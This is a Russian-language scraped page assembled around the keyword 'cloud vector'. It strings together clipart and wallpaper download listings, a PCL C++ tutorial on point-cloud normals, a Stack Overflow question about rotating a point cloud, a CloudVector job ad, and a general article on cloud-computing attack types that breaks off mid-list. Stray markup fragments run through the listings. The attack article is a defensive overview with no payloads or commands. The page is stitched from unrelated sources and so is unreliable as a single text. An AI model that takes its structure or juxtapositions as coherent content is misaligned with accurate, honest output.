Облачка вектор: Изображения Облака | Бесплатные векторы, стоковые фото и PSD

%d0%be%d0%b1%d0%bb%d0%b0%d0%ba%d0%b0 %d0%b2%d0%b5%d0%ba%d1%82%d0%be%d1%80 PNG, векторы, PSD и пнг для бесплатной загрузки

Мультфильм белые облака вектор белые облака элементы набор иллюс

облака картинки вектор ai | UIDownload

облака картинки вектор ai

ключевые слова

• фон
• синий
• облака
• метеорология
• тень
• стоковые векторы
• Погода
• белый
• облака картинки вектор
• ai
• картинки
• вектор

DMCA Contact Us

бесплатная загрузка ( ai, 224. 17KB )

Связанная векторная графика

• орел векторные картинки eps ai

• Nuage / облако svg

• Наброски облака eps svg

• Бесплатный мультфильм облака вектор svg ai

• Загрузить в облако psd

• Мультфильм облака коллекции вектор eps

• Радуга в облаках eps

• org/ImageObject»>

  Мультфильм облако вектор svg eps

• алмаз картинки вектор ai eps

• комический фон с облаками и лучами eps

• Облако svg

• Белый мультфильм облака вектор eps

• Фон облаков eps

• Мультфильм облака вектор eps

• Облако иллюстрации дизайн вектор eps

• Коллекция белых облаков eps

• org/ImageObject»>

  Белые мультипликационные облака svg ai

• Китайские облака вектор eps

• мотоцикл силуэт картинки ai eps

• черная ручка векторные картинки eps ai

• Фруктовые картинки eps

• Радуга в облаках Радужные облака svg eps

• тигр картинки логотип eps ai

• орел картинки изображение ai eps

• org/ImageObject»>

  кроссовки мода векторные картинки ai eps

• Аннотация радуги с облаками svg eps ai

• Синие и серые облака svg ai

• PSD облака значок psd

• электрогитара картинки ai eps

• трактор картинки вектор ai eps

• Набор векторных иллюстраций реалистичные облака eps

• Китайские облака вектор eps

• org/ImageObject»>

  виниловая пластинка картинки ai eps

• сфотографировать векторные картинки ai eps

• племенной орел векторные картинки eps

• цель векторные картинки eps

• картофельные чипсы векторные картинки ai eps

• Коллекция белых облаков eps

• человеческий глаз картинки eps ai

• крылья картинки вектор ai eps

• org/ImageObject»>

  Вектор сцены облака лес eps ai

• орел векторная графика картинки eps ai

• Зеленый пейзаж с деревьями облака цветы eps

• отпечатки пальцев векторные картинки cdr eps

• Реалистичные белые облака иллюстрации вектор ai

• крылья картинки векторного eps

• Бесплатные китайские облака векторов ai

• цветочный орнамент векторные картинки eps ai

• org/ImageObject»>

  Белые облака многослойные psd фотографии высокой четкости 1620 psd

• горилла картинки ai eps

Загрузи больше

• Contact Us

Векторный дизайн облака ai | UIDownload

Векторный дизайн облака ai

ключевые слова

• книга
• климат
• облака векторов
• облака
• комический
• милый
• капли
• пушистый
• игра
• дождливый
• просто
• небо
• Погода
• Векторный дизайн облака
• ai
• Векторный
• дизайн

DMCA Contact Us

бесплатная загрузка ( ai, 857.49KB )

Связанная векторная графика

• Nuage / облако svg

• org/ImageObject»>

  Наброски облака eps svg

• Бесплатный мультфильм облака вектор svg ai

• Загрузить в облако psd

• Набор векторных иллюстраций реалистичные облака eps

• Мультфильм облака коллекции вектор eps

• Радуга в облаках eps

• Мультфильм облако вектор svg eps

• комический фон с облаками и лучами eps

• org/ImageObject»>

  Облако svg

• Белый мультфильм облака вектор eps

• Фон облаков eps

• Мультфильм облака вектор eps

• Белые облака с векторным фоном голубого неба eps

• Облако иллюстрации дизайн вектор eps

• Коллекция белых облаков eps

• Бесплатные векторные погода с солнцем и облаками ai eps svg

• org/ImageObject»>

  Белые мультипликационные облака svg ai

• Китайские облака вектор eps

• Бесплатные векторные облака набор eps

• Белые облака с векторным фоном голубого неба eps

• Радуга в облаках Радужные облака svg eps

• Реалистичные облака векторные иллюстрации набор eps

• Аннотация радуги с облаками svg eps ai

• Синие и серые облака svg ai

• org/ImageObject»>

  PSD облака значок psd

• Китайские облака вектор eps

• Векторные облака — дым eps

• Реалистичные облака векторные иллюстрации набор eps

• Голубое небо и облака векторные фоны eps

• Коллекция белых облаков eps

• Вектор сцены облака лес eps ai

• Зеленый пейзаж с деревьями облака цветы eps

• org/ImageObject»>

  Реалистичные белые облака иллюстрации вектор ai

• Бесплатные китайские облака векторов ai

• Белые облака многослойные psd фотографии высокой четкости 1620 psd

• СЛОВА ОБЛАКА ВЕКТОРНЫЙ ФОН.eps eps

• Китайские облака пейзаж иллюстрации вектор eps

• Облака с бумажными самолетиками eps

• Мультфильм облако вектор svg eps

• Фон синих облаков svg ai

• org/ImageObject»>

  Набор векторных иллюстрации белые облака eps

• Реалистичные облака иллюстрации векторов набор 13 eps

• Радужные облака фон ai

• Векторные узоры китайские облака eps ai

• Реалистичные облака векторные иллюстрации набор eps

• Векторная коллекция облаков eps

• Голубое небо и облака векторные фоны eps

• Симпатичные Облако Акварель Радуга Векторные Иллюстрации ai svg

• org/ImageObject»>

  Облака дождь и молния Векторный фон ai

Загрузи больше

• Contact Us

бесплатная загрузка | Синие облака, облака вектор искусства, аэро, вектор искусства, синий, облака, HD обои

бесплатная загрузка | Синие облака, облака вектор искусства, аэро, вектор искусства, синий, облака, HD обои | Wallpaperbetter

Синие облака, облака вектор искусства, аэро, вектор искусства, синий, облака, HD обои

Вам также могут понравиться эти обои для рабочего стола

• 3840
  x
  2133
  px

  Грин, Деревья, Лес, Лес, Вудс, digitalart, Аэро, Вектор искусства, Иллюстрация, HD обои

• 1920
  x
  1080
  px

  два голубых кристалла, синее и фиолетовое созвездие плакат, сплетение, атомы, нейтроны, электроны, протоны, поли, аннотация, вектор, цифровое искусство, геометрия, астрономия, произведения искусства, огни, текстурированные, линии, синий, HD обои

• org/ImageObject» data-w=»1102″ data-h=»310″>

  3840
  x
  1080
  px

  белый и синий плавающий корабль цифровые обои, дирижабли, цифровое искусство, произведения искусства, фэнтези-арт, облака, пейзаж, HD обои

• 3840
  x
  2160
  px

  цифровое искусство, произведения искусства, иллюстрация, научная фантастика, планета, сатурн, пейзаж, природа, небо, небо, горы, птицы, лес, деревья, облака, закат, плоский дизайн, вектор искусства, вектор, HD обои

• 4096
  x
  3045
  px

  Мультфильм облака, синие облака обои, аэро, вектор искусства, HD обои

• 1920
  x
  1200
  px

  Голубая волна вектор искусства, аннотация, формы, минимализм, синий фон, цифровое искусство, HD обои

• 7680
  x
  4320
  px

  вектор лес, закат лес, закат, лес, природа, небо, атмосфера, тьма, дерево, пейзаж, искусство, иллюстрация, HD обои

• 1920
  x
  1080
  px

  разноцветные абстрактные цифровые обои, аннотация, вектор, красный, фиолетовый, синий, низкополигональная, цифровое искусство, произведения искусства, минимализм, текстурированные, фиолетовый, HD обои

• 2560
  x
  1573
  px

  Камуфляж, синий камуфляж, Аэро, Вектор Арт, Камуфляж, HD обои

• 3840
  x
  2160
  px

  цифровое искусство, произведения искусства, фантазия искусство, планета, солнце, солнечный свет, природа, лес, деревья, горы, пейзаж, небо, небо, комета, облака, минимализм, Flatdesign, векторное искусство, иллюстрация, вектор, HD обои

• 1920
  x
  1080
  px

  минимальный, искусство, чудо, железный человек, супергерои, мстители, вектор искусства, HD обои

• 7680
  x
  4320
  px

  градиент, синий, розовый, абстрактное искусство, HD обои

• 2560
  x
  1600
  px

  синее небо явление цифровые обои, темное небо с белыми вспышками света, пространство, облака, полярные сияния, темный, синий, темно-синий, звезды, черный, небо, пейзаж, космическое искусство, цифровое искусство, HD обои

• 1920
  x
  1053
  px

  Флаг Пакистана, Аэро, Вектор искусства, HD обои

• 1920
  x
  1080
  px

  черно-синие абстрактные обои, серая и синяя сотовая графика, соты, аннотация, минимализм, простой фон, шестиугольник, цифровое искусство, произведения искусства, синий, текстура, текстурированная, HD обои

• 1680
  x
  1050
  px

  Вектор, синий, фон, узор, вектор, синий, фон, узор, HD обои

• 1920
  x
  1080
  px

  синий и красный абстрактная живопись, синие и красные облака цифровые обои, абстрактный, красочный, вселенная, пространство, галактика, звезды, туманность, TylerCreatesWorlds, космическое искусство, цифровое искусство, синий, голубой, оранжевый, красный, розовый, HD обои

• 3840
  x
  2160
  px

  Дэдпул, вектор, произведение искусства, 4k, HD, цифровое искусство, супергерои, HD обои

• 1920
  x
  1173
  px

  Комиксы черно-белые, каракули арт, аэро, вектор искусства, белый, черный, комиксы, HD обои

• 4475
  x
  3940
  px

  синие и белые абстрактные обои, аннотация, синий, фон, Вектор, квадраты, Геометрические, HD обои

• 1920
  x
  1080
  px

  цифровое искусство, синий, листья, узор, текстура, простой, произведение искусства, природа, HD обои

• 1920
  x
  1080
  px

  синий дым, синий и белый дым цифровая иллюстрация, дым, цифровое искусство, аннотация, текстурированные, текстура, произведения искусства, линии, минимализм, шестиугольник, синий, HD обои

• 4096
  x
  3045
  px

  Аэро, вектор искусства, синий, белый, вектор, минимальный, облако, минимальное облако, облако иллюстрация, HD обои

• 7680
  x
  4320
  px

  8k UHD, 3D, цифровое искусство, абстрактное искусство, 8K, многоугольные, шип, шипы, синий, синий электрик, тьма, графика, графический дизайн, низкополигональная, HD обои

• 4698
  x
  1000
  px

  оранжевые и синие абстрактные обои, абстрактные, красочные, цифровое искусство, произведения искусства, формы, HD обои

• 2560
  x
  1573
  px

  Аэро Фон, синие и белые волны светлые обои, Аэро, Разноцветные, Фон, HD обои

• 3440
  x
  1440
  px

  синие облака, ультраширокие, космос, синие, HD обои

• 3840
  x
  1080
  px

  Альпы цифровые обои, гора с облаками в дневное время, картина, многоэкранный режим, горы, снег, природа, двойные мониторы, небо, облака, цифровое искусство, космическое искусство, планета, произведение искусства, HD обои

• 1920
  x
  1080
  px

  голубое небо, облака, звёзды, природа, произведения искусства, цифровое искусство, небо, голубой, синий, HD обои

• 1920
  x
  1080
  px

  геометрические цифровые обои, геометрия, поли, вектор, точки, аннотация, цифровое искусство, HD обои

• 1920
  x
  1305
  px

  двое мужчин сидят вектор искусства, бойцовский клуб, кино, вектор, HD обои

• 1920
  x
  1080
  px

  оранжевые и синие огни обои, красочные, абстрактные, цифровое искусство, формы, простой фон, произведения искусства, дым, синий, красный, огонь, HD обои

• 6000
  x
  8000
  px

  Аэрит Гейнсборо, Лян Син, Лян-Син, 2D, фан-арт, цифровое искусство, иллюстрация, Final Fantasy, Final Fantasy VII, видеоигры, персонажи видеоигр, видеоигры для девочек, длинные волосы, HD обои

• 1920
  x
  1200
  px

  розовый и синий абстрактная живопись, цифровое искусство, произведение искусства, аннотация, HD обои

• 3000
  x
  2000
  px

  синие, белые и бирюзовые обои, синие, бирюзовые и белые обои с геометрическими изображениями, низкополигональная, абстрактные, синие, цифровое искусство, произведения искусства, геометрия, голубой, простой, HD обои

• 3200
  x
  2560
  px

  разноцветный треугольник абстрактное искусство, аннотация, графический дизайн, вектор, треугольник, цифровое искусство, HD обои

• 2560
  x
  1600
  px

  синие облака, небо, облака, синий, природа, пейзаж, HD обои

• 1920
  x
  1200
  px

  синие и черные облака цифровые обои, Млечный путь, туманность, космос, звёзды, иллюстрации, цифровое искусство, синий, голубой, HD обои

• 1920
  x
  1080
  px

  голубая луна покрыта облаками обои, иллюстрация планеты, произведения искусства, космическое искусство, туманность, планета, звезды, синий фон, кольца планет, светящиеся, цифровое искусство, космос, HD обои

• 2560
  x
  1440
  px

  белое и голубое небо, голубое и черное небо, произведение искусства, простой фон, синий, звезды, космос, цифровое искусство, космическое искусство, HD обои

Загрузить больше обоев

PCL вычисляет вектор нормали облака точек и отображает

Используйте PCL для вычисления вектора нормали облака точек и его отображения Теоретическое введение очень подробно описано в книге «Библиотека облаков точек PCL от новичка до мастера». Может ссылаться наPCL оценивает вектор нормали к поверхности облака точек
Для более непонятной части сделайте собственное простое объяснение.

Интуитивное понимание ориентации вектора нормали:

Определение pcl :: Normal

Результатами вычислений (* normal) являются: координаты x, y, z вектора нормали и кривой кривизны поверхности. Его внутренняя структура:

 

struct Normal : public _Normal
{
    inline Normal (const _Normal &p)
    {
     normal_x = p.normal_x; 
     normal_y = p.normal_y; 
     normal_z = p.normal_z;
     data_n[3] = 0.0f;
     curvature = p.curvature;
    }

    inline Normal ()
    {
     normal_x = normal_y = normal_z = data_n[3] = 0.0f;
     curvature = 0;
    }

    inline Normal (float n_x, float n_y, float n_z)
    {
     normal_x = n_x; normal_y = n_y; normal_z = n_z;
     curvature = 0;
     data_n[3] = 0.0f;
    }

    friend std::ostream& operator << (std::ostream& os, const Normal& p);
    EIGEN_MAKE_ALIGNED_OPERATOR_NEW
};

Несколько методов вывода pcl :: Normal:

          cout<<normals->points[0]<<endl;
     cout<<"["<<normals->points[0].normal_x<<" "
              <<normals->points[0].normal_y<<" "
              <<normals->points[0].normal_z<<" "
              <<normals->points[0].curvature<<"]"<<endl;

     cout<<"["<<normals->points[0].normal[0]<<" "
              <<normals->points[0].normal[1]<<" "
              <<normals->points[0].normal[2]<<" "
              <<normals->points[0].curvature<<"]"<<endl;

     cout<<"["<<normals->points[0].data_n[0]<<" "
              <<normals->points[0].data_n[1]<<" "
              <<normals->points[0].data_n[2]<<" "
              <<normals->points[0].curvature<<"]"<<endl;

Полное отображение кода:

#include <pcl/point_types.h>
#include <pcl/io/pcd_io.h>
#include <pcl/kdtree/kdtree_flann.h>
#include <pcl/features/normal_3d.h>
#include <pcl/surface/gp3.h>
#include <pcl/visualization/pcl_visualizer.h>
#include <boost/thread/thread.hpp>
#include <pcl/features/normal_3d_omp.h>
using namespace std;
int main()
{
	
	pcl::PointCloud<pcl::PointXYZ>::Ptr cloud(new pcl::PointCloud<pcl::PointXYZ>);
	if (pcl::io::loadPCDFile<pcl::PointXYZ>("horse.pcd", *cloud) == -1)
	{
		PCL_ERROR("Could not read file\n");
	}

	
	pcl::NormalEstimationOMP<pcl::PointXYZ, pcl::Normal> n;
	pcl::PointCloud<pcl::Normal>::Ptr normals(new pcl::PointCloud<pcl::Normal>);
	
	pcl::search::KdTree<pcl::PointXYZ>::Ptr tree(new pcl::search::KdTree<pcl::PointXYZ>);
	
	
	n.setNumberOfThreads(10);
	
	n.setInputCloud(cloud);
	n.setSearchMethod(tree);
	n.setKSearch(10);
	
	n.compute(*normals);
	
	
	boost::shared_ptr<pcl::visualization::PCLVisualizer> viewer(new pcl::visualization::PCLVisualizer("3D viewer"));
	
	
	viewer->setBackgroundColor(0.3, 0.3, 0.3);
	viewer->addText("faxian", 10, 10, "text");
	
	
	pcl::visualization::PointCloudColorHandlerCustom<pcl::PointXYZ> single_color(cloud, 0, 225, 0);
	
	viewer->addCoordinateSystem(0.1);
	viewer->addPointCloud<pcl::PointXYZ>(cloud, single_color, "sample cloud");
	viewer->addPointCloudNormals<pcl::PointXYZ, pcl::Normal>(cloud, normals, 20, 0.02, "normals");
	
	viewer->setPointCloudRenderingProperties(pcl::visualization::PCL_VISUALIZER_POINT_SIZE, 2, "sample cloud");
	while (!viewer->wasStopped())
	{
		viewer->spinOnce(100);
		boost::this_thread::sleep(boost::posix_time::microseconds(100000));
	}

	return 0;
}

Для получения дополнительной информации посетите официальный сайт PCL:Point Cloud Library (PCL) 1.10.1-dev

Вращение точечного облака на основе вектора нормали

Я хочу повернуть точку 3-D cloud в зависимости от ориентации пола. Я обнаружил пол и вычислил его нормальный вектор. Я хочу использовать этот нормальный вектор, чтобы убедиться, что все точки на полу имеют одинаковое значение Y.

Поскольку точечное произведение двух нормализованных векторов является Косинусом угла между ними, я сначала нормализую текущий нормальный вектор (0.856, 0.958, 2.58), а также искомый нормальный вектор (0.0, 0.958, 0.0). Точечное произведение = 0.917 и, следовательно, угол = 70.586, но будучи в 3-х измерениях, это не кажется полезным. Нужно ли мне выполнить два поворота? Если да, то есть ли какие-либо предложения относительно наилучшего подхода?

rotation

point-clouds

Поделиться

Источник

BrenOsh    

21 июня 2011 в 16:25

1 ответ

• Вращение и инверсия направления конуса точечного света

  Я работаю над системой преобразования точечного света в OpenGL.As известно, что точечный свет по умолчанию имеет положение и направление конуса. Но в моей реализации он также должен иметь вращение и ориентацию. В этом случае вращение -локальное вращение светового конуса, а ориентация -мировое…

• Управление направлением вектора нормали, matlab

  У меня есть несколько сотен очков. Соединяя их, я получаю несколько сотен самолетов. Мне нужно контролировать направление вектора нормали так, чтобы я всегда смотрел на эту плоскость снаружи здания. Вот некоторые моменты. XYZ=[1,26.7801084079290,10.9279762852855,5.90125567150161;…

1

Если вам нужно вращение , которое преобразует нормальный вектор A в желаемый нормальный вектор A', их бесконечное количество. (Учитывая одно такое вращение, вы можете применить его, а затем составить его с вращениями вокруг A' , чтобы получить множество других вращений, которые делают то же самое.)

Один из подходов, который хорошо работает в 3-D, заключается в вычислении вектора перекрестного произведения V = A x A' (который нормален к плоскости, содержащей A и A'), а затем вращается вокруг V на угол между A и A' . (Важно сначала проверить, что A и A' еще не совпадают.)

Здесь есть описание того, как сделать все это довольно эффективно .

Поделиться

Ted Hopp    

21 июня 2011 в 16:36

Похожие вопросы:

THREE.BufferGeometry-нормали вершин и нормали граней

В документации на THREE.BufferGeometry написано: нормальный (itemSize: 3 ) Хранит компоненты x, y и z вектора нормали грани или вершины каждой вершины в этой геометрии. Установлено по…

Учитывая Нормаль поверхности, найдите вращение для плоскости 3D

Итак, у меня есть плоскость 3D, описываемая 2 векторами: P: точка, лежащая на плоскости N: Нормаль поверхности к плоскости И у меня есть очень большой плоский квадратный многоугольник, который я…

Вращение вектора 3D?

У меня есть два вектора в виде списков Python и угла. E.g.: v = [3,5,0] axis = [4,4,1] theta = 1.2 #radian Каков наилучший/самый простой способ получить результирующий вектор при вращении вектора v…

Вращение и инверсия направления конуса точечного света

Я работаю над системой преобразования точечного света в OpenGL.As известно, что точечный свет по умолчанию имеет положение и направление конуса. Но в моей реализации он также должен иметь вращение и…

Управление направлением вектора нормали, matlab

У меня есть несколько сотен очков. Соединяя их, я получаю несколько сотен самолетов. Мне нужно контролировать направление вектора нормали так, чтобы я всегда смотрел на эту плоскость снаружи здания….

Как найти правильное вращение от одного вектора к другому?

У меня есть два объекта, и каждый объект имеет два вектора: нормальный вектор вектор вверх Как на этом изображении: Вектор вверх перпендикулярен вектору нормали. Теперь я хочу найти уникальное…

Поворот вектора на основе нормали

Задан набор точек на поверхности полусферы, определяемой плоскостью XZ в левой системе координат: И задан вектор нормали к плоскости, определяющей другую произвольную полусферу: Как я могу…

OpenCV оценка расстояния и вектора нормали от гомографии

Я сопоставляю шаблон, из которого я знаю свое расстояние до & моего нормального вектора. то есть если моя гомография-это матрица идентичности, то моя камера находится на расстоянии = 1.0m &,…

Упаковка вектора нормали и касательного вектора

В механизме отложенного затенения, над которым я работаю, я в настоящее время храню нормальный вектор в буфере с внутренним форматом GL_RGBA16F . Я всегда понимал, что это не может быть лучшим…

Поворот вектора на основе нормали в Three.js

У меня есть такой вектор {x: 0, y: 0, z: 1} Тогда у меня есть другой вектор, который является нормальным, направление, как это {x: 1, y: 0, z: 0} Как мне повернуть вектор на основе направления в…

CloudVector API Security and Threat Protection

About:

CloudVector — первая платформа защиты от угроз API, которая выходит за рамки шлюза, который обнаруживает, отслеживает и защищает API для предотвращения утечки данных. Распространение API-интерфейсов побудило злоумышленников нацеливаться на этот новый вектор атаки, увеличивая риск серьезных утечек данных. Существующие межсетевые экраны веб-приложений (WAF) и шлюзы управления API не могут обеспечить защиту от угроз API из-за ограничений, присущих их архитектурам.

CloudVector специально создан для современных архитектур приложений и развернут с нулевым воздействием на встроенную производительность, без каких-либо изменений в приложениях или процессах DevOps. Фактически, CloudVector избавляет от необходимости указывать API вручную, чтобы обеспечить немедленную окупаемость.

CloudVector был основан в Кремниевой долине основателями, руководителями и лучшими инженерами из Netskope, Agari, McAfee, Juniper, Bromium, Google Cloud и VMWare.Наше видение — это образ легендарной компании в области кибербезопасности, которая позволит предприятиям ускорить процесс цифровой трансформации.

Чтобы узнать больше, посетите CloudVector.com или подпишитесь на нас в Twitter @cloudvect.

Почему:

Вы ищете следующий вызов. Вы любите создавать вещи с нуля, которые повышают эффективность бизнеса. Вы готовы к увлекательному путешествию с самой интересной компанией, работающей над передовыми технологиями.Вы хотите стать частью миссии по противодействию следующей большой киберугрозе для предприятий. Если вы видите ответ «Да», вам следует присоединиться к команде CloudVector.

Основные обязанности:

Вы будете нести ответственность за архитектуру, дизайн и реализацию программного обеспечения для обработки сетей и протоколов, которое будет глубоко изучать сообщения API на основе HTTP для сбора соответствующих данных и обеспечения выполнения действий политик безопасности.

Требования / квалификация:

• Глубокие знания и предыдущий опыт работы с протоколами HTTP, TCP / IP и SSL / TLS.Отличные навыки программирования «C ++ / C» и сильные знания OOD.
• Большой опыт в разработке сетевых приложений для Linux / Unix.
• Большой опыт проектирования и разработки высокопроизводительного программного обеспечения в многоядерной многопоточной среде, хорошее знание системного уровня.
• Сильные навыки решения проблем, способные разбирать и реализовывать сложные алгоритмы / решения.
• Опыт работы с технологиями Deep Packet Inspection — большой плюс.
• Опыт работы со всеми аспектами процесса разработки программного обеспечения — концепцией, архитектурой, дизайном, внедрением и тестированием.
• Отличные устные и письменные коммуникативные навыки.

Образование и опыт:

Бакалавр компьютерных наук или соответствующей области с опытом работы более 10 лет.

Облако вектор, 30000+ Облако графических ресурсов для бесплатной загрузки

Облако Векторные изображения PNG | Облака, Мультяшное облако, Облачные вычисления Векторы в.Формат AI .EPS

Новый вектор для кибератак

Технолог облачных вычислений y предоставляет общий пул вычислительных ресурсов через Интернет в любое время за небольшую плату или бесплатно.Используя облачные вычисления, многие частные лица и компании уже повысили эффективность своих операций при одновременном сокращении затрат на ИТ.

Хотя модели облачных вычислений обладают множеством преимуществ по сравнению с локальными моделями, они по-прежнему уязвимы как для внутренних, так и для внешних атак. Поэтому разработчикам облачных вычислений необходимо принимать меры безопасности для защиты конфиденциальных данных своих пользователей от кибератак.

Эта статья написана для разработчиков облачных вычислений и поставщиков услуг, которые хотят повысить безопасность своих решений облачных услуг.Мы начнем с обзора основных уязвимостей технологии облачных вычислений, а затем рассмотрим наиболее распространенные типы атак в облаке. Наконец, мы дадим практические советы о том, как обеспечить безопасность вашего облачного решения на основе лучших отраслевых практик.

Автор:

Анна Брик,

Специалист по маркетинговым исследованиям

Содержание:

Ключевые уязвимости облачных вычислений

Векторы атак для облачных вычислений

10 наиболее распространенных типов атак на облачные вычисления

7 советов Обеспечение безопасности облачных решений

Заключение

Ключевые уязвимости облачных вычислений

В зависимости от того, какой уровень контроля вам нужен, можно выбрать один из трех типов услуг облачных вычислений:

1. Программное обеспечение как услуга (SaaS)
2. Платформа как услуга (PaaS)
3. Инфраструктура как услуга (IaaS)

Вы можете прочитать о различиях между этими моделями в нашей статье блога Saas, PaaS и IaaS Explained.

Облачные технологии все еще активно развиваются, поэтому они содержат множество уязвимостей, которые могут быть использованы киберпреступниками или злоумышленниками. Давайте посмотрим на ключевые уязвимости облачных вычислений, которые вызывают опасения по поводу безопасности среди пользователей облачных вычислений.

Пользователи облака хранят различные типы данных в облачных средах, и многие из этих данных содержат конфиденциальную информацию о пользователях или бизнес-деятельности. Однако эти данные могут быть утеряны, повреждены или повреждены в результате действий человека, уязвимостей приложений и непредвиденных чрезвычайных ситуаций.Очевидно, что поставщик облачных услуг не может предотвратить все угрозы для данных, но разработчики облачных вычислений должны применять современные алгоритмы шифрования, чтобы гарантировать целостность данных при передаче от пользователя в облако.

• Уязвимости облачного API

Интерфейсы прикладного программирования (API) позволяют пользователям взаимодействовать с облачными сервисами. Однако уязвимости в API-интерфейсах могут существенно повлиять на безопасность облачной оркестровки, управления, предоставления и мониторинга.Разработчикам облачных сервисов необходимо реализовать строгий контроль над API.

У законных пользователей облака, которые действуют злонамеренно, есть много способов организовать атаки или утечку данных в облачных средах. Однако разработчики облачных вычислений могут свести к минимуму эту угрозу, внедрив технологии управления идентификацией и доступом (IAM).

• Уязвимости общих технологий

Облачные вычисления включают использование общих технологий, таких как виртуализация и облачная оркестровка. Таким образом, используя уязвимости в любой части этих технологий, злоумышленники могут нанести значительный ущерб многим пользователям облака.Слабые стороны гипервизора могут позволить хакерам получить контроль над виртуальными машинами или даже над самим хостом. В случае побега виртуальной машины хакеры могут получить неограниченный доступ к хосту через общие ресурсы. Поэтому необходимо обратить внимание на безопасность облачного провайдера, которому вы доверяете свое облачное решение.

Большинство современных поставщиков облачных услуг заставляют своих клиентов зависеть от своих услуг из-за высоких затрат на переключение. Многие пользователи облака чувствуют себя заблокированными, когда провайдеры не могут предоставить все необходимые им услуги.Убедитесь, что в вашем решении есть инструменты, которые помогут пользователям легко перейти от других поставщиков, например возможность импортировать данные в различных форматах.

Хотя облачные провайдеры используют криптографические алгоритмы для защиты данных в хранилище, они обычно используют ограниченные источники энтропии (например, время) для автоматической генерации случайных чисел для шифрования данных. Например, виртуальные машины на базе Linux генерируют случайные ключи только с точностью до миллисекунды. Однако этого может быть недостаточно для надежного шифрования данных, поскольку злоумышленники также используют сложные механизмы декодирования для взлома информации.Таким образом, разработчики облачных вычислений должны подумать о том, как защитить данные, прежде чем они перейдут в облако.

• Уязвимые облачные сервисы

Хотя платформы облачных вычислений спроектированы как распределенные системы облачных сервисов, эти сервисы слабо защищены друг от друга. Таким образом, злоумышленник может использовать уязвимости в любой облачной службе для получения несанкционированного доступа к данным законных пользователей. Например, облачная платформа OpenStack в 2016 году имела более 150 известных слабых мест в своих облачных сервисах.Создание надежной архитектуры может изолировать операции пользователя в облаке.

Векторы атак для облачных вычислений

Основными целями кибератак на облачные вычисления являются получение доступа к пользовательским данным и предотвращение доступа к облачным сервисам. И то, и другое может нанести серьезный вред пользователям облачных вычислений и подорвать уверенность в безопасности облачных сервисов.

При организации атак в облаке хакеры обычно вторгаются в обмен данными между пользователями облака и службами или приложениями:

• , используя уязвимости в облачных вычислениях;
• кража учетных данных пользователей где-то за пределами облака;
• с использованием предшествующего законного доступа к облаку после взлома паролей пользователей;
• действует как злонамеренный инсайдер.

10 наиболее распространенных типов атак на облачные вычисления

Существует множество способов атаковать сервисы облачных вычислений, и хакеры постоянно работают над созданием более сложных из них. Однако знание хотя бы наиболее распространенных поможет разработчикам облачных вычислений разработать более безопасные решения. Вот список из десяти наиболее распространенных типов кибератак, совершаемых против пользователей облака.

1. Атаки с внедрением вредоносного ПО в облако

Атаки с внедрением вредоносного ПО выполняются для получения контроля над информацией пользователя в облаке.Для этого хакеры добавляют модуль реализации зараженного сервиса в решение SaaS или PaaS или экземпляр виртуальной машины в решение IaaS. Если облачную систему удалось обмануть, она перенаправит запросы облачного пользователя в модуль или экземпляр хакера, инициируя выполнение вредоносного кода. Затем злоумышленник может начать свою вредоносную деятельность, такую ​​как манипулирование или кража данных или подслушивание.

Наиболее распространенными формами атак путем внедрения вредоносного ПО являются атаки с использованием межсайтовых сценариев и атаки с использованием SQL-инъекций.Во время атаки с использованием межсайтовых сценариев хакеры добавляют вредоносные сценарии (Flash, JavaScript и т. Д.) На уязвимую веб-страницу. Немецкие исследователи организовали XSS-атаку на платформу облачных вычислений Amazon Web Services в 2011 году. В случае SQL-инъекции злоумышленники нацелены на SQL-серверы с уязвимыми приложениями баз данных. В 2008 году веб-сайт Sony PlayStation стал жертвой атаки с использованием SQL-инъекции.

2. Злоупотребление облачными сервисами

Хакеры могут использовать дешевые облачные сервисы для организации DoS-атак и атак грубой силы на целевых пользователей, компании и даже других облачных провайдеров.Например, эксперты по безопасности Брайан и Андерсон организовали DoS-атаку, используя возможности облачной инфраструктуры Amazon EC2 в 2010 году. В результате им удалось сделать своего клиента недоступным в Интернете, потратив всего 6 долларов на аренду виртуальных услуг.

Пример атаки методом перебора был продемонстрирован Томасом Ротом на конференции Black Hat Technical Security 2011. Арендуя серверы у поставщиков облачных услуг, хакеры могут использовать мощные облачные ресурсы для отправки тысяч возможных паролей к учетной записи целевого пользователя.

3. Атаки типа «отказ в обслуживании»

Атаки типа «отказ в обслуживании» предназначены для того, чтобы перегрузить систему и сделать услуги недоступными для пользователей. Эти атаки особенно опасны для систем облачных вычислений, поскольку многие пользователи могут пострадать в результате наводнения даже одного облачного сервера. В случае высокой рабочей нагрузки облачные системы начинают обеспечивать большую вычислительную мощность за счет включения большего количества виртуальных машин и экземпляров сервисов. Пытаясь предотвратить кибератаку, облачная система на самом деле делает ее более разрушительной.Наконец, облачная система замедляется, и законные пользователи теряют возможность доступа к своим облачным сервисам. В облачной среде DDoS-атаки могут быть еще более опасными, если хакеры используют больше зомби-машин для атаки большого количества систем.

4. Атаки по побочным каналам

Атаки по побочным каналам организуются хакерами, когда они размещают вредоносную виртуальную машину на том же хосте, что и целевая виртуальная машина. Во время атаки по побочному каналу хакеры нацелены на системные реализации криптографических алгоритмов.Однако этого типа угрозы можно избежать с помощью надежной системы.

5. Атаки с упаковкой

Атака с упаковкой — это пример атаки типа «злоумышленник посередине» в облачной среде. Облачные вычисления уязвимы для атак обертывания, поскольку пользователи облака обычно подключаются к службам через веб-браузер. Подпись XML используется для защиты учетных данных пользователей от несанкционированного доступа, но эта подпись не защищает позиции в документе. Таким образом, упаковка элементов подписи XML позволяет злоумышленникам манипулировать XML-документом.

Например, в 2009 году в интерфейсе SOAP Amazon Elastic Cloud Computing (EC2) была обнаружена уязвимость. Эта уязвимость позволяла злоумышленникам изменять перехваченное сообщение в результате успешной атаки с переносом сигнатур.

Читайте также:
Игрушки для Интернета вещей: новый вектор для кибератак

6. Атаки «человек в облаке»

Во время атаки этого типа хакеры перехватывают и перенастраивают облачные сервисы, используя уязвимости в системе токенов синхронизации, поэтому что при следующей синхронизации с облаком токен синхронизации будет заменен на новый, предоставляющий доступ злоумышленникам.Пользователи могут никогда не узнать, что их учетные записи были взломаны, поскольку злоумышленник может вернуть исходные токены синхронизации в любое время. Более того, существует риск того, что взломанные аккаунты никогда не будут восстановлены.

7. Инсайдерские атаки

Инсайдерские атаки инициируются законным пользователем, умышленно нарушающим политику безопасности. В облачной среде злоумышленник может быть администратором облачного провайдера или сотрудником компании-клиента с обширными привилегиями. Чтобы предотвратить злонамеренные действия этого типа, разработчики облачных вычислений должны разрабатывать безопасные архитектуры с разными уровнями доступа к облачным службам.

8. Взлом учетной записи или службы

